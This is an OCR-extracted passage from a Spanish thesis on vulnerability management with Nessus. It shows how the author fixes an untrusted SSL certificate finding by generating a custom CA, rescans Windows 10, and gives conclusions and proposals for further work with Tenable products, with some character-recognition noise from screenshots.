Mo se puede confiar en el certificado X.509 del servidor. Esta situacién puede ocurrir de tres maneras diferentes, en las que |z cadena de confianza
puede romperse, como se indica a continuacién:

- Primero, 13 parte superior de |3 cadena de certificados enviada por el servidor puede no descender de una autoridad de certificacion plblica
conocida. Esto puede ocurrir cuando la parte superior de la cadena es un certificado autofirmado no reconocido, o cuando faltan certificados
intermedios que conactarian la parte superior de la cadena de certificados con una autoridad de certificacién plblica conocida.

- En segundo lugar, la cadena de certificados puede contener un certificado que no sea valido en el momento de la exploracidn. Esto puede ocurrir
cuande el escaneo ocurre antes de una de |as fechas 'notBefore’ del certificade, o después de una de las fechas 'notafter’ del certificado.

- Entercer lugar, la cadena de certificados puede contener una firma gue no coincide con la informacién del certificado o que no se pudo verificar.
Las firmas incorrectas se pueden corregir haciendo gue el emisor vuelva a firmar el certificado con la firma incorrecta. Las firmas que no se pudieron
verificar son el resultado de que el emisor del certificado utilizd un algoritmo de firma que Nessus no admite o no reconoce.

Si el host remoto es un host publico en produccion, cualquier interrupcidn en la cadena dificulta que los usuarios verifiquen la autenticidad y la

identidad del servidor web. Esto podria facilitar |3 realizacion de ataques man-in-the-middle contra el host remoto.

Solucién
Compre o genere un certificado SSL adecuado para este servicio.

llustracion 279 — Vulnerabilidad — Certificado SSL de Nessus

Para quitar esta vulnerabilidad generamos un certificado CA. Para ello, abrimos ‘nessuscli’ con
una terminal. [32]
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» Este equipo » Disco local (C:) » Archivos de programa » Tenable » Messus »

-~

Mombre Fecha de modificacian Tipo Tamaric
° iconv 13/10/2022 19:27 Carpeta de archivos
| winperms 7 Archive WINPERMS
Y apr-iconv.dll 10/07, Extensién de la ap...
o | License Documento de te...
55| nasl Aplicacion
5| ndbg Aplicacion
| Messus Web Client Archivo URL
Aplicacion

B=| nessusd Aplicacion

Aplicacidn

B=| nessus-service

llustracion 280 — Nessuscli

Lanzamos el siguiente comando y rellenamos la informacion sobre el equipo en que el
aplicaremos el certificado para generar este.

EM Administrador: Simbelo del sistema

script will now ask you for information to c
lessus. s information will *NOT* be
~ything s
* Nessus

tion ---
e life time in da

tion: UAH

= were created
ity :

llustracién 281 — comando: nessuscli.exe mkcert
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Una vez generado, se nos habran creado los cuatro archivos del certificado.

» Esteequipo » Discolocal (C:) » ProgramData » Tenable » Nessus » nessus » CA

Nombre Fecha de modificacién Tipo Tamario
ida

_| cacert.pem 211172022 20:02 Archivo PEM 2KB

Mj cakey.pem 21/11/2022 20:02 Archivo PEM 2KE
i j servercert.pem Archivo PEM 2KB
tos j serverkey.pem Archivo PEM 2KB

llustracion 282 — Archivos del certificado

Ahora introducimos el certificado (cacert.pem) en la parte de settings > Custom CA del portal de

Nessus. [33]

Custom CA

Certificate Cannot Be Trusted)

¢ Saving a Custom Certificate Authority (CA) helps to mitigate findings from Plugin #51192 (S5L
& ) during scans.

Certificate

" cacert.pem: Bloc de notas

Archivo  Edicien Formato  Ver Ayuda

|-----BEGIN CERTIFICATE-----
MIID+CCAUKgANTBAGIDANMOMARGC SGGS Tb3DQEBCLUAMIGAMNQCEYDVQQKDANY
QUgxMAnBENVBASMKUS 1c 31 cyBDZXI@aliZpY2FRal9uT EF1dGhvem1@eSAoYmY4
N3MiY TQpMQ8WDQYDVQQHDAZNYHRyaHQxC A JBgNVBAY TAINQMOswWCQYDVQQIDAIN
RDEYMDAGATUEAWMpTMVze 3V2IEN LenRpZml JYXRpb24gQXV0aG9yaXRSIChiZig2
MzBRNClawHh M3 xMT IxM Tk QLW CNM3 Y xMT TuMThaM Q1] CBoT EMMAOGALUE
CguDVUFIMTTWMAYDVQQLDC10ZXNzdXMgQ2VydG LmakiNhdGvbiBBdXRob3 1 pdHkg
KGImODYZMGEGKTEPMABGALUE B GTWFkcml KMQs1CQYDVQQGEWI TUDELMAKGALUE
CAWCTUQxM] AuBglVBAMMKUS 13N 1cyBDZXI@aHZpY2F 8aHIuTEF 1dGhvemlBeSho
YmY4N jM¥TQPMITBI ANBgkhk169wOBAQE FAAOCAQBAMI IBCgKCAQEAL89 t1al+
PYY+JtFeUlPGEHLPNShSEKI 2uvy JMigP6tib+yDZN251AqI0BDNe7OR+06NPYCr
SSnmShaV8RwrFFIIHR38CnVAGAt+Fb+vHEC3e8AbsyT4hbne7YDESpHb ZubuuiMt
K4FGJ JZc F+AY5+LmnGGBIQUZYRy TDZYNTE3dc 1 Luk /u7ZBxHFmLf t txtly7aGm
GEL6KHDEFYAppQxxh8RA0SUPN7 SQTLA71SHIQ9, D2q80bSXF5ZrangZFVxo2019
1TbumF2G/p+31KsK5sphPHOJ 145 11/06deCOAYIHT JeVxPGX+HFBYmk LNNEAp3INZ
uIF46DktjxdYLWIDAQABozkizARBg1ghkgBhvhC AQE EBAMCAEQuDEYDVREPAQH,
BAQDAGEGMBIGALUGEWEB,/ wQIMAYBAFSCAQEWDQYIKoZ Ihv cNAQELBQADEEEBABOD
CbawAAHAZALM/ FQuqzYhS zkpuy7b81FFdBBUMVOBCs 7QKLrK8KV2350Q1dB/qb+
TWVjzk6p91LDVb77 czIX21VAeSZyv1Uilz4E] c 3dsegKL aPCDg7 cFIdBR+ebrDUl
DtPgSeP+LboMyghF IPFPFpXTQDC dWAM2Z +x +BaMzsPhzfbal 15UXEUCTWQ1bCLLY
GuIMhsR5bdk I9YkHA70by gh7 cZNEx541616mjvp8IXayZ5cNbGHQBgmarumpcZE+
+yxA2VSTPItQrFpk I6F 1eSLPVFVTEKFoy881R6YZhRIdH 3 gDUTDAIIbABKDXEY
2ZMzuz@1DAGp8rFXaMo=
----- END CERTIFICATE

llustracion 283 — Introduccion del certificado en el portal de Nessus

Una vez introducido el certificado volvemos a escanear para corroborar que ya no queden

vulnerabilidades.

seamDerats

llustracion 284 — 52 Escaneo de Vulnerabilidades Windows 10
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Como vemos, tanto Windows 10 como Ubuntu son dos SO que se pueden actualizar y parchear
hasta dejar totalmente sin vulnerabilidades graves gracias a que siguen teniendo soporte, a
diferencia de Windows 7 y XP que muchas de las vulnerabilidades no son parcheables ya.

En el equipo Windows — 10 partiamos de lo siguiente:

[= - = o

llustracién 285 — Primer escaneo — Windows 10

Hemos acabado asi:

I

llustracion 286 — Ultimo escaneo — Windows 10

125



7. Conclusiones

En este apartado hablaremos de las conclusiones obtenidas tras la busqueda y analisis de las
vulnerabilidades con Nessus y de la explotacién y parcheo de estas. Tambien propondremos
futuros proyectos relacionados con la gestion de vulnerabilidades.

7.1 Conclusiones.

En una gestion de vulnerabilidades en un caso real, se harian los pasos explicados en el apartado
2.1.1 Gestion de vulnerabilidades.

En un caso real seccionariamos los pasos de la siguiente forma:

Se llevaria a cabo un escaneo de deteccion de equipos en un rango de IPs para detectar
todos los equipos conectados e informacion relevante como su sistema operativo, los
puertos abiertos, etc.

Una vez detectados todos los equipos, hacer una division de estos por sistema operativo
0 por cualquier pardmetro comun que permita hacer una division de estos equipos en la
red.

Una vez divididos los equipos en varios grupos, lanzariamos un escaneo de blsqueda de
vulnerabilidades en cada uno de ellos, eligiendo los plugins necesarios para cada grupo.
De esta manera, podemos acortar los tiempos de duracién del escaneo, ya que, en un caso
real donde haya gran cantidad de equipos, los escaneos pueden llegar a durar mas de una
hora.

Una vez obtenemos los resultados del escaneo debemos siempre ordenar por la criticidad
de las vulnerabilidades encontradas y analizar el dafio que pueden causar en nuestra red
si alguien descubriese esa vulnerabilidad y la explotase. Hay que tener claro que no
siempre las vulnerabilidades criticas recién descubiertas en internet son igual de criticas
para todos, puede que una vulnerabilidad tenga una criticidad de valor 9 pero para nuestra
red, por el tipo de equipos, el tipo de dispositivos, etc tenga un valor de 5, siendo una
vulnerabilidad muy baja para nosotros.

Estos dos parametros de medida se diferencian en CVSS (Common Vulnerability Scoring
System) que nos informa de los datos almacenado en la NVD (National Vulnerability
Database) que muestran el riego asociado a la vulnerabilidad. El otro pardmetro es el
VPR, este es un complemento dinamico de los datos proporcionados por la puntuacion
CVSS de la vulnerabilidad que nos indica el valor de criticidad que tiene cada
vulnerabilidad en nuestro propio sistema.

Por ultimo, después de analizar y estudiar todas las vulnerabilidades se nos abren dos
caminos:

o Si somos defensores, nuestro objetivo serd deshacernos a toda costa de esa
vulnerabilidad. Aqui comienza toda la bisgqueda de actualizaciones o de maneras
que impidan la explotacion de dicha vulnerabilidad.

o Si somos atacantes, nuestro objetivo serd buscar formas de ataque para explotar
dicha vulnerabilidad antes de que el equipo de defensa parche esa vulnerabilidad.

Detrés de todos estos pasos, hay una gran cantidad de horas de escaneos, de busqueda de
vulnerabilidades, de analisis de estas, de busqueda y aplicacion de parches para la eliminacion de
vulnerabilidades y por ultimo, de andlisis de ataques para explotar una vulnerabilidad.
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En el sector de la ciberseguridad, el analisis, explotacion y parcheo de vulnerabilidades es algo
que cambia cada dia. Todos los dias aparecen nuevas vulnerabilidades por una mala actualizacion,
por un nuevo hardware sin tanta seguridad, por malas practicas por partes de los administradores
de lared, etc. Es por esto, que los departamentos de ciberseguridad estan ganando tanto peso hoy
en dia. Este departamento es el que se encarga de estar 24x7 analizando vulnerabilidades para
mantener un sistema seguro en las empresas y evitar asi toda explotacién de vulnerabilidades que
pueda llevar a un atacante a los datos méas confidenciales de estas.

Como conclusién, es importante que en la gestidn de vulnerabilidades se sigan todos los pasos de
identificacion, evaluacion, tratamiento e informacion de vulnerabilidades, detallando en cada uno
de los pasos toda la informacién posible acerca de la vulnerabilidad gestionada. Tambien es
importante gue los escaneos se programen para ser lanzados cada cierto tiempo y en horas fuera
del trabajo para evitar falsos positivos y saturar la red.

7.2 Nuevas propuestas de trabajo.

Este trabajo ha permitido recopilar una gran cantidad de informacion sobre Nessus y los diferentes
softwares de Tenable. Gracias a toda esta informacién, seria interesante estudiar las siguientes
propuestas de trabajo:

e Primera propuesta: Uso de Tenable.io VM (Vulnerability Management) para la vision
completa de posibles ataques y la rapida respuesta a las vulnerabilidades criticas. Estudio
de la plataforma, de sus escaneos activos, los diferentes agentes, el monitoreo pasivo, los
conectores en la nube para la gestion de vulnerabilidades, la gestion de superficie de
ataque externa y las integraciones CMDB.

e Segunda propuesta: Uso de Tenable.io WAS (Web App Scanning). Estudio y manejo del
portal, de sus nuevos escaneos enfocados a la gestion de vulnerabilidades en aplicaciones
web que escanean los principales riesgos OWASP hasta los componentes vulnerables de
la aplicacién web.

Estas propuestas de trabajo son el siguiente paso al uso de Nessus. Tanto Tenable.io VM como
Tenable.io WAS incluyen internamente todas las funcionalidades y el escaner de Nessus mas toda
la parte especializada en cada una de las dos soluciones.

Ambas propuestas son las mas utilizadas en el mercado ya que tienen un potencial mayor al de
Nessus, permitiendo una monitorizacién constante y dando una informacién mucho mas detallada
acerca del parcheo y ataque de las vulnerabilidades, a parte de la diferencia del portal, que permite
una muestra de datos bastante mas detallada, mostrando los diferentes tipos de criticidad (CVSS
y VPR) para cada vulnerabilidad.

Ademas, permiten la creacion de dashboards para la generacion automatica de informes.
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